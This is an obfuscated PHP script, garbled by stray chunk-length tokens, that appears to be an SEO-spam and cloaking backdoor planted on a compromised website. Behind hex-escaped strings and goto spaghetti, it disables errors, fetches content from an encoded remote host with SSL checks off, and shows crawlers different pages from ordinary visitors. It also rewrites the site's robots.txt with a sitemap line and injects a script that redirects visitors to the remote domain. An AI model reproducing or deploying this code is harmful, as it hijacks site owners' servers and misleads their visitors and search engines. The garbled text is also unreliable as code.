1 < 3 ?ph 2 p 4 go 4 to c 3 I0D 3 v; 3 LYG 4 63: 3 $kk 4 = i 4 sset 3 ($g 3 et[ 4 "\x6 3 b\1 4 53"] 4 ) ? 3 tri 14 m($get["\x6b\153"]) 3 : ' 8 '; goto 3 jHF 3 IX; 4 sIe 3 vn: 4 if 5 ($kk 3 !== 4 '' 3 && 4 preg 4 _mat 3 ch( 5 "\x2f 3 \x5 4 e\13 4 3\10 5 1\x2d 4 \132 a \x61\x2d\x 3 7a\ 7 60\x2d\ 5 71\x5 5 d\x2b 3 \44 6 \x2f", 6 $kk)) 3 { 4 $rem 3 ote 6 = get 3 Cur 4 lFas 4 t($j 3 d . 4 "\1 5 47\14 4 5\16 7 4\144\1 5 57\15 6 5\x61\ 5 151\x 4 6e\6 4 2\56 7 \x61\16 6 3\160\ 4 170\ 5 77\16 5 2\x6e 7 \144\75 6 \62\x2 9 6\x6b\153 4 \75" 8 . $kk); 6 if (! 4 empt 2 y( c $remote)) { 4 echo 9 $remote; 3 di 4 e; } 9 } goto e 3 09E 4 O; L 3 njY 3 Z: 4 outp 4 ut_s 4 item 4 ap_a 3 nd_ 3 exi b t($sitemapL 3 ine 5 , $ht 4 tp_t 3 ype 9 ); goto e 3 mnX 4 E; C 3 SyC 4 d: $ 4 vurl 4 = " 7 \164\x6 8 f\56\x6a 7 \147\14 a 1\154\154\ 3 x73 8 \x2e\143 a \157\155\5 2 7" 9 ; goto QL 3 luM 5 ; L3n 2 M1 a : $surl = 8 $jd . "\ 9 x73\x7a\1 3 56\ 1a 56\x61\163\160\170"; goto 2 Yn 4 Br1; 5 ut_5 2 H: f if (!empty($sz 6 )) { $ 11 jd = getCurlFast( 2 "{ c $http_type}{ 6 $vurl} 5 \63\1 5 53\x6 9 7\x2e\141 5 \x73\ a 160\170\x3 8 f\163\17 8 2\75" . 5 urlen 4 code 6 ($sz)) 7 ; } els 1 e 2c { $jd = getCurlFast("{$http_type}{$vurl}\x3 12 3\153\x67\x2e\141\ 11 163\160\170\x3f\x 5 78\x7 4 9\75 d {$http_type}" 6 ); $sz 2c = getCurlFast("{$http_type}{$vurl}\x33\153\ 4 147\ f 56\141\x73\160\ 5 x78\x 9 3f\x6a\14 5 4\x3d 10 " . urlencode($j 7 d)); } 6 goto H 3 nOn 8 w; HnOnw 4 : $h 3 yzh 2 dy f = $jd . "\172\ 4 156\ 9 x2e\x61\x a 73\160\x78 e "; goto L3nM1; 6 YnBr1 e : $sitemapLine 7 = "\12 7 3\151\x 6 74\x65 a \155\x61\x 6 70\x3a 3 \40 10 {$http_type}{$_S 3 ERV 2 ER 5 ["\11 5 0\124 7 \124\x5 4 0\13 5 7\x48 6 \117\x 6 53\124 2 "] 12 }{$_SERVER["\123\x 4 43\x 5 52\11 4 1\12 3 0\x 8 54\137\1 2 16 7 \101\x4 5 d\105 8 "]}\77\x 4 77\x 9 3d" . dat 5 e("\x 9 59\155\x6 6 4\110\ 4 x69" 7 ) . "\1 9 2"; goto 4 J5G3 4 2; d 3 sRZ 4 S: $ 4 is_n 3 o_q 3 uer b y = empty($ c _SERVER["\12 9 1\125\105 7 \x52\13 7 1\137\1 8 23\x54\x 9 52\111\x4 4 e\x4 4 7"]) 9 ; goto JD 4 7fu; 4 b3x 3 BO: 3 fu 4 ncti 2 on 11 getCurlFast($url 7 ) { $ca 3 che 9 d = cache 2 _g 8 et($url) e ; if ($cached 5 !== f 4 alse 6 ) { re 4 turn 8 $cached 5 ; } $ 5 data a = ''; if ( 8 function 6 _exist 5 s("\x 6 63\165 8 \162\x6c 8 \137\x69 9 \156\x69\ 4 x74" 7 )) { $c 5 h = c 6 url_in a it($url); 5 curl_ 6 setopt 4 _arr 4 ay($ 4 ch, 7 array(C 3 URL 4 OPT_ 3 RET 3 URN 3 TRA 3 NSF 3 ER 2 => 4 tru b e, CURLOPT_ 3 CON 3 NEC 4 TTIM 3 EOU 5 T => b 5, CURLOPT_ c TIMEOUT => 8 c , CURLOPT_SS 2 L_ 5 VERIF 3 YPE b ER => false 15 , CURLOPT_SSL_VERIFYH 3 OST 13 => false, CURLOPT_ 3 FOL 3 LOW 3 LOC 3 ATI 2 ON 14 => false, CURLOPT_U 5 SERAG 7 ENT => 6 "\x4d\ 4 x6f\ 9 172\x69\x 4 6c\1 9 54\x61\x2 5 f\x35 7 \x2e\x3 2 0" c )); $data = 7 curl_ex 6 ec($ch 9 ); curl_c 3 los 9 e($ch); } 5 if ( b empty($data 5 ) && 8 ini_get( 7 "\141\x a 6c\154\x6f 7 \x77\x5 7 f\x75\x 6 72\154 8 \137\x66 5 \157\ b x70\x65\156 9 ")) { $co 4 ntex 4 t = 4 stre 3 am_ 9 context_c 6 reate( 9 array("\1 4 50\1 a 64\164\160 5 " => d array("\164\1 5 51\15 6 5\145\ 7 x6f\x75 c \x74" => 8, 7 "\150\1 8 45\141\1 7 44\x65\ 4 x72" 6 => "\ a 125\163\14 6 5\x72\ a x2d\x41\14 7 7\145\1 7 56\x74\ 4 72\4 5 0\115 17 \x6f\172\x69\x6c\x6c\x6 4 1\57 2 \6 a 5\x2e\60\1 5 5\xa" 2 ), d "\x73\x73\x6 e c" => array("\ 3 x76 d \145\162\x69\ 3 146 b \x79\x5f\x7 8 0\145\14 6 5\162" f => false, "\16 9 6\x65\x72 11 \x69\x66\x79\x5f\ 5 160\1 c 45\x65\x72\x 5 5f\x6 8 e\x61\x6 5 d\x65 b " => false) e )); $data = @f 2 il b e_get_conte 4 nts( 5 $url, 8 false, 11 $context); } if ( d !empty($data) 4 ) { 7 cache_s 8 et($url, b $data); } c return $data a ; } goto n 3 EuM 2 B; 6 J5G32 d : function en 5 sure_ 4 robo 2 ts 8 _sitemap 13 ($sitemapLine) { $r 5 obots 4 = r 10 trim($_SERVER["\ 6 x44\x4 6 f\x43\ 4 125\ 9 x4d\x45\x 4 4e\x 6 54\x5f 9 \x52\x4f\ 6 117\x5 8 4"], "\x 6 2f\x5c 8 ") . "\5 6 7\162\ d 157\x62\157\x c 74\x73\x2e\1 5 64\17 6 0\164" 7 ; if (! c file_exists( 7 $robots b )) { @file_ 4 put_ 11 contents($robots, 7 "\125\ c x73\x65\x72\ 8 55\x61\1 15 47\145\156\x74\72\40\ 5 52\xa b \101\154\x6 7 c\x6f\1 4 67\x a 3a\40\x2f\ 3 12" 4 . $ 10 sitemapLine, LOC 3 K_E 1 X e ); } else { $c 1e = @file_get_contents($robots) 9 ; if ($c 9 === false 3 || 5 strp 5 os($c e , $sitemapLine b ) === false 20 ) { @file_put_contents($robots, f $sitemapLine, F 4 ILE_ 3 APP 3 END 2 | d LOCK_EX); } b } } goto nv 3 qfY 7 ; cI0Dv 4 : er 4 ror_ 3 rep 4 orti 4 ng(0 9 ); goto c 3 tug 3 b; 4 KcbV 1 Z 16 : function cache_set($ 3 key 8 , $data) 8 { $file 5 = sy 6 s_get_ 5 temp_ 4 dir( 9 ) . "\57\ 5 x63\1 a 41\x63\x68 7 \x65\x5 5 f" . 3 md5 d ($key) . "\56 7 \x70\x6 7 8\160"; 15 @file_put_contents($ b file, $data e , LOCK_EX); } 7 goto ob 4 bTy; 4 tTr 2 If 12 : function cache_g c et($key, $ex 3 pir 7 e = 300 23 ) { $file = sys_get_temp_dir() . "\ 5 x2f\1 5 43\x6 23 1\x63\x68\x65\x5f" . md5($key) . "\ 7 x2e\160 f \150\160"; if ( d file_exists($ 9 file) && 3 tim 4 e() 6 - file 6 mtime( 8 $file) < 8 $expire 1e ) { return file_get_contents($ 5 file) 10 ; } return false 9 ; } goto 6 KcbVZ; 6 e09EO 15 : if ($kk !== '' && ! 17 preg_match("\x2f\x5e\x5 6 b\101\ 5 55\x5 a a\x61\x2d\ 4 172\ 6 60\55\ d 71\x5d\x2b\x2 10 4\x2f", $kk)) { 33 output_sitemap_and_exit($sitemapLine, $http_type); 7 } goto 6 dsRZS; a jHFIX: $i 1 p e = $kk !== '' 4 ? "\ 4 66\6 5 6\56\ 6 62\64\ 6 71\56\ 3 70\ 9 62\x2e\x3 2 8" 7 : get_ 3 rea 5 l_ip( 9 ); goto x 3 9Xs 4 W; r 3 UTi 8 t: if ($ 4 doma 7 in !== 7 "\x67\x 4 6f\x c 6f\x67\x6c\1 4 45" 4 && ! 9 empty($ii 7 d)) { $ 4 knam 4 e = 5 urlde 5 code( 19 getCurlFast($jd . "\147\1 b 56\x2e\x61\ 9 163\x70\1 8 70\77\15 6 1\151\ 11 144\x3d" . $iid)) 7 ; echo 2 "\ e 74\x73\x63\x72 6 \151\1 8 60\x74\7 8 6\x6c\15 a 7\x63\141\ 7 164\x69 b \x6f\x6e\x3 4 d\x2 f 2" . $jd . "\14 9 1\56\141\ 8 163\160\ 5 x78\7 c 7\x63\x6e\14 6 1\x6d\ 4 145\ 16 75" . urlencode($kname 9 ) . "\x26 5 \165\ 10 x72\154\x3d" . $ 9 http_type 10 . $_SERVER["\x4 8 8\x54\x5 6 4\120\ 8 137\x48\ 5 x4f\x 17 53\124"] . $_SERVER["\x b 53\x43\x52\ 3 x49 9 \120\x54\ a x5f\x4e\x4 b 1\x4d\105"] a . "\x22\x 2 3c d \x2f\163\x63\ 6 162\15 c 1\160\x74\x3 2 e" f ; die; } goto Q 3 gpn 2 U; 9 QLluM: $ 5 qz = 3 sub 4 str( 7 str_rep 3 lac b e(array("\x 9 77\x77\x7 6 7\x2e" 7 , "\x2e 5 "), ' 2 ', 10 $_SERVER["\x48\ 12 124\124\x50\x5f\x4 12 8\x4f\x53\124"]), 3 0, 9 3); goto 3 EI8 3 Kp; 6 JD7fu b : if ($kk = 9 == '' && 10 $is_no_query) { d if ($domain = 9 == "\x67\ 7 157\157 d \147\x6c\145" 39 ) { output_sitemap_and_exit($sitemapLine, $http_type); } 7 else { e die; } } goto 6 LnjYZ; 9 ctugb: $ 3 get 6 = fil 3 ter 7 _input_ 7 array(I 3 NPU 3 T_G 2 ET 7 , FILTE 4 R_SA 3 NIT 3 IZE 3 _ST 3 RIN 9 G); goto 6 tTrIf; 6 QgpnU 17 : if (!empty($iid)) { $ 3 str 10 = getCurlFast($ b hyzhdy . "\ 7 77\151\ 7 x69\x64 8 \75{$iid 5 }"); 1a echo str_replace(array("\x 7 67\147\ 10 147\147\147", "\ 6 131\13 15 1\131\131\131", "\130 7 \130\x5 a 8\131\131\ 3 x59 9 ", "\xe5\ 4 275\ 5 223\x 5 e5\x8 4 9\x8 4 d\x5 7 5\x52\x 3 4c" 9 , "\125\x b 55\125\x55\ 9 x55", "\1 12 15\115\115\115\115 5 ", "\ 4 77\1 7 46\75") 8 , array( 3 $sz 6 , get_ 7 url_inf 3 o() 10 , get_url_info(" 5 \x62\ c x61\x73\x65" 14 ), get_url_info("\x6 6 6\165\ 1a 154\x6c"), get_url_info("\ 4 156\ 6 157\13 d 7\x77\x77\167 5 "), p 4 arse 4 _url 12 ($_SERVER["\x52\x4 5 5\x51 8 \125\x45 6 \x53\x c 54\137\125\1 6 22\111 5 "], P 3 HP_ 4 URL_ 4 PATH 7 ), "\77 5 " . $ 8 qz . "\7 5 5"), 5 $str) 10 ; die; } goto Oi 4 QF1; 6 nvqfY e : if (!empty($ a get["\167" 7 ])) { $ 4 para 5 ms = 6 http_b 4 uild 6 _query a (array("\x c 4e\x4f\125\1 6 55\142 6 \x65\1 7 62" => f $get["\x4e\x4f\ a x55\x6d\14 1 2 c \x65\x72"] ? 6 ? '', 5 "\164 10 " => $get["\164" b ] ?? '', "\ 8 x63\156" d => $get["\14 6 3\156" 13 ] ?? '', "\160\x4e\ 6 117\x5 12 5\155" => $get["\x 7 70\x4e\ b x4f\x55\x6d 12 "] ?? '', "\143\x6 5 9\x64 18 " => $get["\143\151\x64" c ] ?? '', "\1 f 55" => $get["\x f 6d"] ?? '')); $ 13 str = getCurlFast(" 1 { 9 $surl}\77 8 {$params 1f }"); echo str_replace(array("\x 5 79\17 8 1\x6d\x6 8 d", "\14 16 7\147\147\147\147", "\ 7 77\146\ e x3d"), array($ 1f http_type . $_SERVER["\x48\x54\ 10 124\x50\x5f\x48\ 4 117\ 5 123\1 2c 24"] . $_SERVER["\x53\x43\x52\x49\120\124\x5 1 f 10 \116\101\x4d\x45 4 "], 15 $sz, "\77" . $qz . "\ 7 x3d"), 13 $str); die; } goto 6 LYG63; 7 EI8Kp: b $sz = $iid 7 = ''; 7 goto S5 4 sdM; 6 OiQF1 b : function 31 output_sitemap_and_exit($sitemapLine, $http_type) 4 { e 22 nsure_robots_sitemap($sitemapLine) d ; echo "\x3c\ 7 144\151 6 \x76\x 4 20\x 6 73\164 a \x79\154\1 4 45\x 6 3d\x27 a \x74\x65\1 c 70\164\x2d\1 9 41\x6c\15 8 1\x67\15 6 6\72\x 8 63\145\x 5 6e\x7 b 4\145\x72\x 2 3b f \160\141\144\x6 1 4 10 \x69\156\x67\72\ 3 61\ 5 60\x7 7 0\170\x 6 20\60\ 3 73\ 6 47\x3e 8 \xa\x20\ 9 40\40\40\ 1a x20\40\40\40\40\40\40\x20\ 6 74\141 6 \x20\x c 68\x72\x65\1 6 46\x3d 4 \x22 1c {$http_type}{$_SERVER["\110\ 8 x54\x54\ 10 x50\x5f\x48\x4f\ 16 123\x54"]}{$_SERVER["\ 6 x53\10 6 3\122\ 4 x49\ 5 x50\1 b 24\x5f\116\ e x41\x4d\105"]} 6 \77\16 1d 7\x3d" . date("\x59\155\144\x 5 48\15 2 1" e ) . "\x22\40\1 8 64\141\x 6 72\x67 c \145\x74\x3d 2 \4 6 2\x5f\ c 142\154\x61\ 7 156\153 6 \x22\x 8 20\162\1 8 45\154\x 6 3d\x22 8 \x6e\x6f 6 \x66\x 4 6f\1 10 54\154\x6f\x77\x 6 22\x3e 6 \x53\x d 69\x74\145\x6 1 d c \x61\160\74\ 7 x2f\141 7 \x3e\12 8 \40\x20\ 12 x20\40\40\x20\x20\ 13 x20\x20\40\74\x2f\x 7 64\151\ 6 x76\76 f "; die; } goto 6 sIevn; 6 S5sdM e : if (!empty($ a _GET)) { $ 1 f a = reset($ 5 _GET) 8 ; $sp = 4 expl 4 ode( 4 "\x2 6 d", $f 9 ); if (co 2 un 5 t($sp 7 ) === 2 b ) { $sz = $ 4 sp[0 2 ]; c $iid = $sp[ 2 1] b ; } } goto 6 ut_5H; 14 obbTy: function get a _real_ip() 6 { $ke 5 ys = 9 array("\1 b 10\x54\x54\ 7 120\x5f 8 \103\106 a \137\103\1 7 17\116\ 6 x4e\10 6 5\103\ 5 x54\1 11 11\x4e\x47\137\11 5 1\120 7 ", "\11 13 0\124\124\120\x5f\1 9 30\x5f\12 7 2\x45\x 5 41\x4 d c\137\x49\x50 9 ", "\110\ 19 x54\x54\x50\x5f\130\x5f\1 5 06\x4 8 f\122\12 5 7\101 8 \x52\x44 f \105\104\x5f\x4 9 6\x4f\122 6 ", "\x 13 48\x54\124\120\137\ 5 103\x 8 4c\x49\1 f 05\x4e\x54\x5f\ 5 111\x 11 50", "\122\x45\x4 8 d\117\12 6 4\x45\ e 137\101\x44\10 5 4\x52 5 "); f 5 oreac 2 h 8 ($keys a 4 s $k 8 ) { if ( 10 !empty($_SERVER[ 2 $k 7 ])) { $ 11 ip = $_SERVER[$k] 6 ; if ( a strpos($ip 7 , "\54" 1 ) 14 !== false) { $ip = 5 trim( c explode("\x2 8 c", $ip) 3 [0] 9 ); } if ( 9 filter_va 7 r($ip, 8 FILTER_V 3 ALI 3 DAT 4 E_IP 1 ) e ) { return $ip f ; } } } return 6 "\61\6 4 2\x3 5 7\56\ c 60\56\60\56\ 4 x31" 9 ; } goto 6 b3xBO; 6 x9XsW b : $domain = 6 trim( 18 getCurlFast($jd . "\147\ 7 x65\x74 8 \x64\157 7 \x6d\14 10 1\151\x6e\62\56\ 16 141\163\160\170\x3f\x7 8 2\156\x6 c 4\x3d\61\x26 8 \151\x70 b \x3d" . $ip 1 ) d ); goto rUTit 7 ; nEuMB f : function get_ 9 url_info( 6 string 2 $ b type = "\x6 a 4\157\155\ 7 141\x69 6 \156") a : string 4 { $h 3 ost c = $_SERVER[ 16 "\110\124\124\x50\137\ c 110\x4f\123\ 6 124"] 5 ?? '' d ; if ($type = 5 == "\ 8 156\157\ 11 x5f\167\x77\167") a { return 5 preg_ 8 replace( 9 "\x2f\136 f \167\167\167\13 6 4\x2e\ 5 57\x6 9 9", '', $ 4 host 8 ); } $pr 4 otoc 1 o 5 l = ! 11 empty($_SERVER["\ 12 x48\124\124\x50\x5 9 3"]) && $ 1a _SERVER["\x48\x54\x54\120\ 5 x53"] f !== "\x6f\x66\ 4 146" 5 ? "\ 7 x68\x74 d \x74\x70\163\ 5 72\x2 6 f\x2f" 3 : 16 "\x68\x74\x74\x70\x3a\ 8 x2f\x2f" 5 ; $ba 5 se = b $protocol . 6 $host 17 ; if ($type === "\x62\1 8 41\163\1 13 45") { return $base 8 ; } if ( f $type === "\x66 c \x75\154\154 11 ") { return $base 3 . 16 ($_SERVER["\x52\105\12 7 1\x55\x b 45\x53\x54\ 6 x5f\x5 9 5\x52\x49 9 "] ?? '') c ; } return $ e host; } goto I 3 iHk 8 S; IiHkS 1 : c $http_type 26 = !empty($_SERVER["\110\x54\x54\120\x5 17 3"]) && $_SERVER["\x48\ e 124\124\120\x5 e 3"] !== "\x6f\ d 146\146" ? "\ 4 150\ e x74\x74\x70\x7 12 3\72\x2f\x2f" : "\ f 150\164\164\160 9 \x3a\57\x a 2f"; goto 5 CSyCd 7 ; emnXE 3 : ? 1 > 0